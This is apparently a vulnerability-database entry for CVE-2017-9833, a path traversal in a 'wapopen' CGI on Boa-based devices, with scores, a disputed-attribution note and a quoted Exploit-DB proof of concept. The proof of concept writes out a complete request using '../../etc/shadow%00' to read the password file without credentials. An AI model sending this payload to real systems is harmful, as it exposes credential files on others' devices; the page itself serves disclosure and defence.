CVE-2017-9833

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Published 2017-06-24 · Modified 2026-05-13

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CVSS v3

7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVSS v4 NEW

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not yet in upstream

VIR risk

8.5

Description

/cgi-bin/wapopen in Boa 0.94.14rc21 allows the injection of "../.." using the FILECAMERA variable (sent by GET) to read files with root privileges. NOTE: multiple third parties report that this is a system-integrator issue (e.g., a vulnerability on one type of camera) because Boa does not include any wapopen program or any code to read a FILECAMERA variable.

Predictions

Exploit likelihood

83%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-42290 webapps linux text · 1 KB

Miguel Mendez Z · 2017-06-20

BOA Web Server 0.94.14rc21 - Arbitrary File Access

text exploit Source: Exploit-DB

BOA Web Server 0.94.14 - Access to arbitrary files as privileges

Title: Vulnerability in BOA Webserver 0.94.14
Date: 20-06-2017
Status: Vendor contacted, patch available
Scope: Arbitrary file access
Platforms: Unix
Author: Miguel Mendez Z
Vendor Homepage: http://www.boa.org
Version: Boa Webserver 0.94.14rc21
CVE: CVE-2017-9833


Vulnerability description
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-We can read any file located on the server
The server allows the injection of "../.." using the FILECAMERA variable sent by GET to read files with root privileges. Without using access credentials

Vulnerable variable:
FILECAMERA=../../etc/shadow%00

Exploit link:
/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/shadow%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0

Poc:
http://127.0.0.1/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/shadow%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0

Application impact

Vendor	Product	Versions	Fixed
boa	boa	`0.94.14.21`

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.